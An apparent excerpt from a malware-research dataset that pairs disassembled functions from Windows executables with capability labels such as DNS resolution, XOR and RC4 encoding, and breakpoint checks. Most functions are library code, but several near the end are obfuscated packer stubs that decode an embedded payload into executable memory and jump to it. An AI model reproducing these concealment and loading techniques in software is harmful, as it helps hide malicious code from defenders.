joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4cbc00
Capabilities:
Resolve dns

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
mov esi, dword [esp + 0x10]
mov ebp, 1
push edi
push ebx
push esi
call fcn.004cc0c0
mov edi, eax
add esp, 8
test edi, edi
jns 0x4cbc3b
push 0x7b
push str..crypto_bio_b_sock.c
push 0x6c
push 0x6a
push 0x20
call fcn.0049e9e0
add esp, 0x14
jmp 0x4cbcfc
call fcn.004cbff0
cmp eax, 1
jne 0x4cbd0c
test edi, edi
jle 0x4cbc54
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
ret
push 0x8e
push str..crypto_bio_b_sock.c
push 0x16
push 9
call fcn.004a1a40
add esp, 0x10
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, eax
test ecx, ecx
jne 0x4cbc91
push 0x92
push str..crypto_bio_b_sock.c
push 0x66
push 0x6a
push 0x20
call fcn.0049e9e0
add esp, 0x14
jmp 0x4cbce2
cmp word [ecx + 8], 2
je 0x4cbcb2
push 0x99
push str..crypto_bio_b_sock.c
push 0x6b
push 0x6a
push 0x20
call fcn.0049e9e0
add esp, 0x14
jmp 0x4cbce2
mov eax, dword [ecx + 0xc]
xor ebp, ebp
mov eax, dword [eax]
movzx eax, byte [eax]
mov byte [ebx], al
mov eax, dword [ecx + 0xc]
mov eax, dword [eax]
movzx eax, byte [eax + 1]
mov byte [ebx + 1], al
mov eax, dword [ecx + 0xc]
mov eax, dword [eax]
movzx eax, byte [eax + 2]
mov byte [ebx + 2], al
mov eax, dword [ecx + 0xc]
mov eax, dword [eax]
movzx eax, byte [eax + 3]
mov byte [ebx + 3], al
push 0xa2
push str..crypto_bio_b_sock.c
push 0x16
push 0xa
call fcn.004a1a40
add esp, 0x10
test ebp, ebp
je 0x4cbd13
push esi
push str.host
push 2
call fcn.0049dfe0
add esp, 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret

Function at 0x4cc070
Capabilities:
Set socket configuration

Disassembly:
mov eax, dword [esp + 8]
push esi
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
push 0x8004667e
push dword [esp + 0x10]
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov esi, eax
test esi, esi
jns 0x4cc0b0
push 0x233
push str..crypto_bio_b_sock.c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 5
push 2
call fcn.0049e9e0
add esp, 0x14
xor eax, eax
test esi, esi
pop esi
sete al
ret
Function at 0x4d3260
Capabilities:
Encode data using base64

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x14]
xor ebx, ebx
test esi, esi
jle 0x4d334c
mov edx, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0x14]
inc edi
nop word [eax + eax]
cmp esi, 3
jl 0x4d32dd
movzx ecx, byte [edi - 1]
movzx eax, byte [edi]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 1]
shl ecx, 8
or ecx, eax
mov eax, ecx
shr eax, 0x12
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx], al
mov eax, ecx
shr eax, 0xc
and eax, 0x3f
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx + 1], al
mov eax, ecx
shr eax, 6
and eax, 0x3f
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx + 2], al
add edx, 3
and ecx, 0x3f
movzx eax, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx], al
jmp 0x4d3331
movzx eax, byte [edi - 1]
shl eax, 0x10
cmp esi, 2
jne 0x4d32f1
movzx ecx, byte [edi]
shl ecx, 8
or eax, ecx
mov ecx, eax
shr ecx, 0x12
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx], cl
mov ecx, eax
shr ecx, 0xc
and ecx, 0x3f
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx + 1], cl
cmp esi, 1
jne 0x4d331b
lea eax, [esi + 0x3c]
jmp 0x4d3328
shr eax, 6
and eax, 0x3f
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx + 2], al
add edx, 3
mov byte [edx], 0x3d
sub esi, 3
add ebx, 4
add edi, 3
inc edx
test esi, esi
jg 0x4d3280
pop edi
pop esi
mov eax, ebx
mov byte [edx], 0
pop ebx
ret
mov eax, dword [esp + 0xc]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
ret
Function at 0x4df1f0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0x10]
mov edx, 0x400
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov edi, 0x80
mov esi, edx
mov ecx, edi
mov byte [ebp], 0
cmp dword [esp + 0x18], ecx
cmovle ecx, dword [esp + 0x18]
test eax, eax
cmovg esi, eax
cmp esi, edx
cmovg esi, edx
mov dword [esp + 0x14], esi
test ecx, ecx
jle 0x4df245
mov ebx, dword [esp + 0x1c]
mov edx, ebp
sub ebx, ebp
mov esi, ecx
mov al, byte [ebx + edx]
lea edx, [edx + 1]
mov byte [edx - 1], al
sub esi, 1
jne 0x4df233
mov esi, dword [esp + 0x14]
movzx ebx, byte [ecx + ebp - 1]
cmp ecx, edi
jge 0x4df26a
mov edx, ebp
movzx eax, byte [edx]
lea edx, [edx + 1]
add eax, ebx
movzx eax, al
movzx ebx, byte [eax + 0x56bca8]
mov byte [ecx + ebp], bl
inc ecx
cmp ecx, edi
jl 0x4df250
mov ecx, dword [esp + 0x14]
lea ebx, [esi + 7]
sar ebx, 3
neg ecx
sub edi, ebx
and ecx, 7
movzx eax, byte [edi + ebp]
lea esi, [edi + ebp]
mov edx, 0xff
sar edx, cl
and edx, eax
movzx ecx, byte [edx + 0x56bca8]
mov byte [esi], cl
test edi, edi
je 0x4df2b8
nop dword [eax + eax]
movzx eax, byte [esi + ebx - 1]
lea esi, [esi - 1]
xor eax, ecx
movzx ecx, byte [eax + 0x56bca8]
mov byte [esi], cl
sub edi, 1
jne 0x4df2a0
lea esi, [ebp + 0xfc]
mov edi, 0x40
lea edx, [ebp + 0x7e]
movzx ecx, byte [edx + 1]
lea esi, [esi - 4]
movzx eax, byte [edx]
lea edx, [edx - 2]
shl ecx, 8
or ecx, eax
mov dword [esi + 4], ecx
sub edi, 1
jne 0x4df2c6
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4e1880
Capabilities:
Encode data using xor

Disassembly:
mov eax, 4
call fcn.0050b400
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x1c]
mov ebx, dword [esi + 0x160]
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x44], 0
mov dword [esi + 0x48], 0
mov dword [esi + 0x4c], 0
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x3c], 0
mov dword [esp + 0x14], ebx
mov dword [esi + 0x16c], 0
mov dword [esi + 0x168], 0
cmp edi, 0xc
jne 0x4e192b
mov eax, dword [esp + 0x18]
mov edi, 1
movq xmm0, qword [eax]
movq qword [esi], xmm0
mov eax, dword [eax + 8]
mov dword [esi + 8], eax
mov byte [esi + 0xf], 1
jmp 0x4e1a49
mov dword [esp + 0xc], edi
push ebp
mov ebp, dword [esp + 0x1c]
cmp edi, 0x10
jb 0x4e19a3
mov ebx, ebp
lea ecx, [esi + 0xf]
mov eax, edi
sub ebx, esi
shr eax, 4
mov dword [esp + 0x20], eax
nop dword [eax]
lea eax, [ebx + ecx]
cmp esi, eax
ja 0x4e1972
cmp ecx, ebp
jb 0x4e1972
mov ecx, esi
mov edx, 0x10
mov al, byte [ebx + ecx]
lea ecx, [ecx + 1]
xor byte [ecx - 1], al
sub edx, 1
jne 0x4e1962
jmp 0x4e1980
movups xmm1, xmmword [esi]
movups xmm0, xmmword [ebp]
pxor xmm1, xmm0
movups xmmword [esi], xmm1
lea eax, [esi + 0x60]
push eax
push esi
call dword [esp + 0x20]
add esp, 8
lea ecx, [esi + 0xf]
add ebp, 0x10
add ebx, 0x10
sub edi, 0x10
sub dword [esp + 0x20], 1
jne 0x4e1950
mov ebx, dword [esp + 0x18]
test edi, edi
je 0x4e1a22
xor edx, edx
test edi, edi
je 0x4e1a18
cmp edi, 0x20
jb 0x4e19fb
lea eax, [ebp - 1]
lea ecx, [esi - 1]
add eax, edi
add ecx, edi
cmp esi, eax
ja 0x4e19c4
cmp ecx, ebp
jae 0x4e19fb
mov ecx, edi
mov ebx, ebp
and ecx, 0xffffffe0
mov eax, esi
sub ebx, esi
nop
movups xmm0, xmmword [eax]
lea eax, [eax + 0x20]
movups xmm1, xmmword [eax + ebx - 0x20]
pxor xmm1, xmm0
movups xmmword [eax - 0x20], xmm1
movups xmm1, xmmword [edx + ebp + 0x10]
add edx, 0x20
movups xmm0, xmmword [eax - 0x10]
pxor xmm1, xmm0
movups xmmword [eax - 0x10], xmm1
cmp edx, ecx
jb 0x4e19d0
cmp edx, edi
jae 0x4e1a14
sub ebp, esi
lea ecx, [edx + esi]
sub edi, edx
mov al, byte [ecx + ebp]
lea ecx, [ecx + 1]
xor byte [ecx - 1], al
sub edi, 1
jne 0x4e1a06
mov ebx, dword [esp + 0x18]
lea eax, [esi + 0x60]
push eax
push esi
call ebx
add esp, 8
mov eax, dword [esp + 0x10]
xor ecx, ecx
shld ecx, eax, 3
shl eax, 3
bswap eax
xor dword [esi + 0xc], eax
lea eax, [esi + 0x60]
push eax
bswap ecx
xor dword [esi + 8], ecx
push esi
call ebx
mov edi, dword [esi + 0xc]
add esp, 8
bswap edi
pop ebp
push dword [esi + 0x174]
lea eax, [esi + 0x20]
push eax
mov eax, dword [esi + 0x170]
push esi
call eax
add esp, 0xc
inc edi
bswap edi
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4e5570
Capabilities:
Encode data using xor

Disassembly:
cmp dword [esp + 0x18], 0
je 0x4e5584
mov dword [esp + 0x18], fcn.004e3d50
jmp fcn.004e01e0
mov dword [esp + 0x18], fcn.004e2ff0
jmp fcn.004dff30
Function at 0x4ea0e0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 0x14]
cmp dword [esp + 0x18], esi
jne 0x4ea1a9
mov ecx, dword [esp + 0x10]
mov al, byte [ecx]
cmp al, 0x6a
je 0x4ea101
cmp al, 0x6b
jne 0x4ea1a9
inc ecx
cmp al, 0x6b
jne 0x4ea16b
add esi, 0xfffffffd
xor eax, eax
test esi, esi
jle 0x4ea122
nop
mov dl, byte [ecx]
inc ecx
cmp dl, 0xba
je 0x4ea122
cmp dl, 0xbb
jne 0x4ea14b
inc eax
cmp eax, esi
jl 0x4ea110
sub esi, eax
test eax, eax
jne 0x4ea16e
push 0x83
push str..crypto_rsa_rsa_x931.c
push 0x8a
push 0x80
push 4
call fcn.0049e9e0
add esp, 0x14
or eax, 0xffffffff
pop esi
ret
push 0x7b
push str..crypto_rsa_rsa_x931.c
push 0x8a
push 0x80
push 4
call fcn.0049e9e0
add esp, 0x14
or eax, 0xffffffff
pop esi
ret
add esi, 0xfffffffe
cmp byte [esi + ecx], 0xcc
je 0x4ea197
push 0x8b
push str..crypto_rsa_rsa_x931.c
push 0x8b
push 0x80
push 4
call fcn.0049e9e0
add esp, 0x14
or eax, 0xffffffff
pop esi
ret
push esi
push ecx
push dword [esp + 0x10]
call fcn.0050db60
add esp, 0xc
mov eax, esi
pop esi
ret
push 0x70
push str..crypto_rsa_rsa_x931.c
push 0x89
push 0x80
push 4
call fcn.0049e9e0
add esp, 0x14
or eax, 0xffffffff
pop esi
ret
Function at 0x4f3330
Capabilities:
Encode data using xor

Disassembly:
push edi
mov edi, dword [esp + 8]
cmp dword [edi + 0x10c], 0xffffffff
jne 0x4f3342
xor eax, eax
pop edi
ret
push ebp
push esi
push edi
call fcn.004a7a50
mov ecx, dword [esp + 0x1c]
add esp, 4
mov ebp, dword [esp + 0x14]
mov esi, eax
mov dword [ecx], esi
test ebp, ebp
je 0x4f3405
mov ecx, dword [edi + 0x10c]
push ebx
cmp ecx, esi
jne 0x4f3396
test esi, esi
jle 0x4f33e4
mov edx, ebp
lea ecx, [edi + 0x8c]
mov ebx, esi
nop word [eax + eax]
mov al, byte [ecx + 0x60]
lea ecx, [ecx + 1]
xor al, byte [ecx - 1]
lea edx, [edx + 1]
mov byte [edx - 1], al
sub ebx, 1
jne 0x4f3380
jmp 0x4f33e4
sub eax, ecx
mov byte [ecx + edi + 0xec], 0x80
cmp eax, 1
jle 0x4f33ba
dec eax
push eax
lea eax, [edi + 0xed]
add eax, ecx
push 0
push eax
call fcn.0050da00
add esp, 0xc
test esi, esi
jle 0x4f33e4
mov edx, ebp
lea ecx, [edi + 0xac]
mov ebx, esi
nop dword [eax + eax]
mov al, byte [ecx + 0x40]
lea ecx, [ecx + 1]
xor al, byte [ecx - 1]
lea edx, [edx + 1]
mov byte [edx - 1], al
sub ebx, 1
jne 0x4f33d0
push esi
push ebp
push ebp
push edi
call fcn.004a7e80
add esp, 0x10
pop ebx
test eax, eax
jne 0x4f3405
push esi
push ebp
call fcn.00401360
add esp, 8
xor eax, eax
pop esi
pop ebp
pop edi
ret
pop esi
pop ebp
mov eax, 1
pop edi
ret
Function at 0x4f99f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x70
call fcn.0050b400
mov eax, dword [0x5949f0]
xor eax, esp
mov dword [esp + 0x6c], eax
cmp dword [esp + 0x88], 0x40000000
mov eax, dword [esp + 0x7c]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x84]
push ebp
mov ebp, dword [esp + 0x78]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x90]
push esi
mov dword [esp + 0xc], eax
mov dword [esp + 0x14], 0
ja 0x4f9bc7
mov esi, dword [esp + 0x80]
cmp esi, 0x40000000
ja 0x4f9bc7
cmp dword [esp + 0x88], 0x40000000
ja 0x4f9bc7
push ebx
push edi
push eax
call fcn.004a7ec0
mov edi, eax
lea eax, [esp + 0x28]
push eax
call fcn.004a4b60
push 0
push dword [esp + 0x20]
lea eax, [esp + 0x34]
mov ebx, 1
push eax
call fcn.004a4740
push dword [esp + 0xa4]
lea eax, [esp + 0x3c]
mov dword [esp + 0x28], 0x1000000
push dword [esp + 0x30]
push eax
call fcn.004a48f0
add esp, 0x20
test eax, eax
je 0x4f9ba3
push 4
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x2c]
push eax
call fcn.004a48f0
add esp, 0xc
test eax, eax
je 0x4f9ba3
push dword [esp + 0x98]
lea eax, [esp + 0x28]
push dword [esp + 0x24]
push eax
call fcn.004a48f0
add esp, 0xc
test eax, eax
je 0x4f9ba3
push 0
cmp esi, edi
jb 0x4f9b6b
lea eax, [esp + 0x28]
push ebp
push eax
call fcn.004a4670
add esp, 0xc
test eax, eax
je 0x4f9ba3
sub esi, edi
je 0x4f9b9b
push 0
push dword [esp + 0x18]
lea eax, [esp + 0x2c]
add ebp, edi
push eax
inc ebx
call fcn.004a4740
push dword [esp + 0x9c]
mov eax, ebx
mov byte [esp + 0x23], bl
push dword [esp + 0x28]
shr eax, 8
mov byte [esp + 0x26], al
mov eax, ebx
shr eax, 0x10
mov byte [esp + 0x25], al
mov eax, ebx
shr eax, 0x18
mov byte [esp + 0x24], al
lea eax, [esp + 0x38]
push eax
call fcn.004a48f0
add esp, 0x18
test eax, eax
jne 0x4f9ab7
jmp 0x4f9ba3
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x2c]
push eax
call fcn.004a4670
add esp, 0xc
test eax, eax
je 0x4f9ba3
push esi
lea eax, [esp + 0x40]
push eax
push ebp
call fcn.0050db60
lea eax, [esp + 0x48]
push edi
push eax
call fcn.00401360
add esp, 0x14
mov dword [esp + 0x1c], 1
lea eax, [esp + 0x24]
push eax
call fcn.004a4900
mov eax, dword [esp + 0x20]
add esp, 4
pop edi
pop ebx
pop esi
pop ebp
mov ecx, dword [esp + 0x6c]
xor ecx, esp
call fcn.0050a877
add esp, 0x70
ret
mov ecx, dword [esp + 0x74]
xor eax, eax
pop esi
pop ebp
xor ecx, esp
call fcn.0050a877
add esp, 0x70
ret
Function at 0x4fb950
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
push ebx
mov ebx, dword [esp + 0x10]
push ebp
mov ecx, dword [edx + 4]
mov ebp, edx
push edi
cmp ecx, dword [ebx + 4]
mov edi, dword [esp + 0x10]
cmovge ebp, ebx
cmovge ebx, edx
mov eax, dword [ebx + 4]
cmp eax, dword [edi + 8]
jg 0x4fb979
mov eax, edi
jmp 0x4fb983
push eax
push edi
call fcn.00495100
add esp, 8
test eax, eax
jne 0x4fb98b
pop edi
pop ebp
pop ebx
ret
xor eax, eax
cmp dword [ebp + 4], eax
jle 0x4fb9aa
push esi
mov ecx, dword [ebx]
mov edx, dword [ebp]
mov esi, dword [ecx + eax*4]
mov ecx, dword [edi]
xor esi, dword [edx + eax*4]
mov dword [ecx + eax*4], esi
inc eax
cmp eax, dword [ebp + 4]
jl 0x4fb993
pop esi
cmp eax, dword [ebx + 4]
jge 0x4fb9c0
nop
mov ecx, dword [ebx]
mov edx, dword [edi]
mov ecx, dword [ecx + eax*4]
mov dword [edx + eax*4], ecx
inc eax
cmp eax, dword [ebx + 4]
jl 0x4fb9b0
mov ecx, dword [ebx + 4]
mov dword [edi + 4], ecx
test ecx, ecx
jle 0x4fb9e3
mov edx, dword [edi]
add edx, 0xfffffffc
lea edx, [edx + ecx*4]
mov eax, dword [edx]
lea edx, [edx - 4]
test eax, eax
jne 0x4fb9e0
dec ecx
test ecx, ecx
jg 0x4fb9d2
mov dword [edi + 4], ecx
cmp dword [edi + 4], 0
jne 0x4fb9f0
mov dword [edi + 0xc], 0
pop edi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x4fe2f0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 8
call fcn.0050b400
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
push 0x1048
push 0x571f90
push esi
call fcn.0050db60
mov ebx, dword [esp + 0x30]
mov edi, 0x48
add esp, 0xc
mov eax, ebx
cmp dword [esp + 0x20], edi
cmovle edi, dword [esp + 0x20]
add edi, ebx
xor ebp, ebp
nop dword [eax]
movzx edx, byte [eax]
inc eax
cmp eax, edi
cmovae eax, ebx
shl edx, 8
movzx ecx, byte [eax]
inc eax
or edx, ecx
cmp eax, edi
cmovae eax, ebx
shl edx, 8
movzx ecx, byte [eax]
inc eax
or edx, ecx
cmp eax, edi
cmovae eax, ebx
shl edx, 8
movzx ecx, byte [eax]
inc eax
or edx, ecx
cmp eax, edi
cmovae eax, ebx
xor dword [esi + ebp*4], edx
inc ebp
cmp ebp, 0x12
jl 0x4fe330
mov dword [esp + 0x10], 0
xor edi, edi
mov dword [esp + 0x14], 0
nop
lea eax, [esp + 0x10]
push esi
push eax
call fcn.0041aec0
mov eax, dword [esp + 0x18]
add esp, 8
mov dword [esi + edi*4], eax
mov eax, dword [esp + 0x14]
mov dword [esi + edi*4 + 4], eax
add edi, 2
cmp edi, 0x12
jl 0x4fe380
xor edi, edi
lea eax, [esp + 0x10]
push esi
push eax
call fcn.0041aec0
mov eax, dword [esp + 0x18]
add esp, 8
mov dword [esi + edi*4 + 0x48], eax
mov eax, dword [esp + 0x14]
mov dword [esi + edi*4 + 0x4c], eax
add edi, 2
cmp edi, 0x400
jl 0x4fe3a7
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x4ffd50
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, 0x2c
call fcn.0050b400
mov eax, dword [0x5949f0]
xor eax, esp
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x34]
mov dword [esp], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x40]
mov dword [esp + 0x18], eax
push ebx
push ebp
movzx ebx, byte [eax]
lea ebp, [eax + 1]
mov edx, ebp
shl ebx, 0x18
push esi
push edi
mov edi, dword [esp + 0x54]
movzx eax, byte [edx]
movzx ecx, byte [edx + 3]
shl eax, 0x10
or ebx, eax
shl ecx, 0x18
movzx eax, byte [edx + 1]
shl eax, 8
or ebx, eax
mov esi, dword [edi]
movzx eax, byte [edx + 2]
or ebx, eax
mov dword [esp + 0x1c], edi
movzx eax, byte [edx + 4]
shl eax, 0x10
or ecx, eax
mov dword [esp + 0x24], ebp
movzx eax, byte [edx + 6]
mov dword [esp + 0x14], ecx
movzx ecx, byte [edx + 5]
mov edx, dword [esp + 0x14]
shl ecx, 8
or ecx, eax
mov dword [esp + 0x14], ebx
mov eax, ebx
mov byte [esp + 0x2f], bl
shr eax, 0x18
or edx, ecx
mov byte [esp + 0x2c], al
mov eax, ebx
shr eax, 0x10
mov byte [esp + 0x2d], al
mov eax, ebx
shr eax, 8
mov byte [esp + 0x2e], al
mov eax, edx
shr eax, 0x18
mov byte [esp + 0x30], al
mov eax, edx
shr eax, 0x10
mov byte [esp + 0x31], al
mov eax, edx
shr eax, 8
mov byte [esp + 0x32], al
mov eax, dword [esp + 0x48]
mov dword [esp + 0x18], edx
mov byte [esp + 0x33], dl
test eax, eax
je 0x4fff15
mov ecx, dword [esp + 0x10]
mov edi, dword [esp + 0x40]
sub ecx, edi
mov dword [esp + 0x10], ecx
xor ebp, ebp
nop dword [eax]
dec eax
mov dword [esp + 0x48], eax
test esi, esi
jne 0x4ffea5
push dword [esp + 0x20]
lea eax, [esp + 0x18]
push eax
call fcn.0041b940
mov ebx, dword [esp + 0x1c]
add esp, 8
mov edx, dword [esp + 0x18]
mov eax, ebx
shr eax, 0x18
mov byte [esp + 0x2c], al
mov eax, ebx
mov ecx, dword [esp + 0x10]
shr eax, 0x10
mov byte [esp + 0x2d], al
mov eax, ebx
shr eax, 8
mov byte [esp + 0x2e], al
mov eax, edx
shr eax, 0x18
mov byte [esp + 0x30], al
mov eax, edx
shr eax, 0x10
mov byte [esp + 0x31], al
mov eax, edx
shr eax, 8
inc ebp
mov byte [esp + 0x2f], bl
mov byte [esp + 0x32], al
mov byte [esp + 0x33], dl
mov al, byte [esp + esi + 0x2c]
inc esi
xor al, byte [edi]
and esi, 7
mov byte [ecx + edi], al
inc edi
mov eax, dword [esp + 0x48]
test eax, eax
jne 0x4ffe40
test ebp, ebp
mov ebp, dword [esp + 0x24]
je 0x4ffefc
mov ecx, dword [esp + 0x28]
mov eax, ebx
shr eax, 0x18
mov byte [ecx], al
mov eax, ebx
shr eax, 0x10
mov byte [ebp], al
mov eax, ebx
shr eax, 8
mov byte [ebp + 1], al
mov eax, edx
shr eax, 0x18
mov byte [ebp + 2], bl
mov byte [ebp + 3], al
mov eax, edx
shr eax, 0x10
mov byte [ebp + 4], al
mov eax, edx
shr eax, 8
mov byte [ebp + 5], al
mov byte [ebp + 6], dl
mov eax, dword [esp + 0x1c]
pop edi
mov dword [eax], esi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x28]
xor ecx, esp
call fcn.0050a877
add esp, 0x2c
ret
mov ecx, dword [esp + 0x38]
mov dword [edi], esi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0050a877
add esp, 0x2c
ret
Function at 0x526e85
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00526d04

Function at 0x52c56e
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0052c22e
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x401c66
pop dword [ebp - 0x40]
mov eax, 0x48936746
add eax, 0xb7acb520
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xd01db4cd
add dword [ebp - 0x50], 0x7e34907e
mov dword [ebp - 0x4c], 0x5fdf7ba4
add dword [ebp - 0x4c], 0xd253d0a1
mov dword [ebp - 0x48], 0x339143d4
sub dword [ebp - 0x48], 0xe744ffa6
mov dword [ebp - 0x44], 0xe088626a
add dword [ebp - 0x44], 0x1f779d96
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xad4786d5
sub dword [ebp - 0x50], 0x38d51d7f
mov dword [ebp - 0x4c], 0xbd4b187f
add dword [ebp - 0x4c], 0x842148f6
mov dword [ebp - 0x48], 0x7099b1a
sub dword [ebp - 0x48], 0xa39a2eae
mov dword [ebp - 0x44], 0x14a173f9
add dword [ebp - 0x44], 0xeb5e8c07
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x39636
push 0
call eax
mov ecx, 0x53a1
mov edx, eax
mov edi, 0x407000
add edi, dword [ebp - 0x40]
mov esi, 0x47328427
mov ebx, dword [edi]
mov dword [ebp - 0xc], 0xea3b7536
xor ebx, esi
add dword [ebp - 0x18], ebx
mov dword [edx], ebx
add dword [ebp - 0x3c], ecx
add edx, 0x722e9897
add edx, 0x8dd1676d
add edi, 0x259b2d73
add edi, 0xda64d291
loop 0x401d6c
add eax, 0x14157
mov ebx, eax
add eax, 5
mov ecx, 0x41e622d9
add ecx, 0xbe59dd27
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x6ddb6991
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x6ddb69a0
pop dword [ebp - 0x18]
mov eax, 0x6ddb69a0
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x2c7eb067
sub dword [ebp - 0x28], 0xde2c6b1c
mov dword [ebp - 0x24], 0x8022e87d
sub dword [ebp - 0x24], 0x4def9c38
mov dword [ebp - 0x20], 0xc2029a68
add dword [ebp - 0x20], 0x8a49a9c6
mov dword [ebp - 0x1c], 0xdd54c83c
add dword [ebp - 0x1c], 0x22ab37c4
lea eax, [ebp - 0x28]
push eax
mov eax, 0xd8892280
sub eax, 0x6aadb1f8
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x7f229382
sub dword [ebp - 0x28], 0xab02a2c
mov dword [ebp - 0x24], 0x3d5417b6
add dword [ebp - 0x24], 0x41849bf
mov dword [ebp - 0x20], 0x611df7e5
sub dword [ebp - 0x20], 0xfdae8b79
mov dword [ebp - 0x1c], 0x3c4b0c87
add dword [ebp - 0x1c], 0xc3b4f379
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x34740
push 0
call eax
mov ecx, 0x8aaab508
add ecx, 0x7555896d
xor ebx, ebx
add ebx, eax
mov esi, 0x7f178b58
sub esi, 0x113b4f58
add esi, dword [ebp - 0x18]
mov edi, 0xb05185c8
sub edi, 0x6f1da249
sub dword [ebp - 8], 0xd60b0995
mov edx, dword [esi]
sub dword [ebp - 4], 0x80747431
sub edx, edi
xor dword [ebp - 4], eax
mov dword [ebx], edx
add dword [ebp - 0x10], edx
add ebx, 0x1e07b3b3
add ebx, 0xe1f84c51
add esi, 0xb092434e
add esi, 0x4f6dbcb6
loop 0x6ddb6aba
add eax, 0xa332e404
sub eax, 0xa331f75d
mov ebx, eax
add eax, 5
mov ecx, 0x7a4451c7
sub ecx, 0xc6951c7
add ecx, dword [ebp - 0x18]
call ebx
leave
ret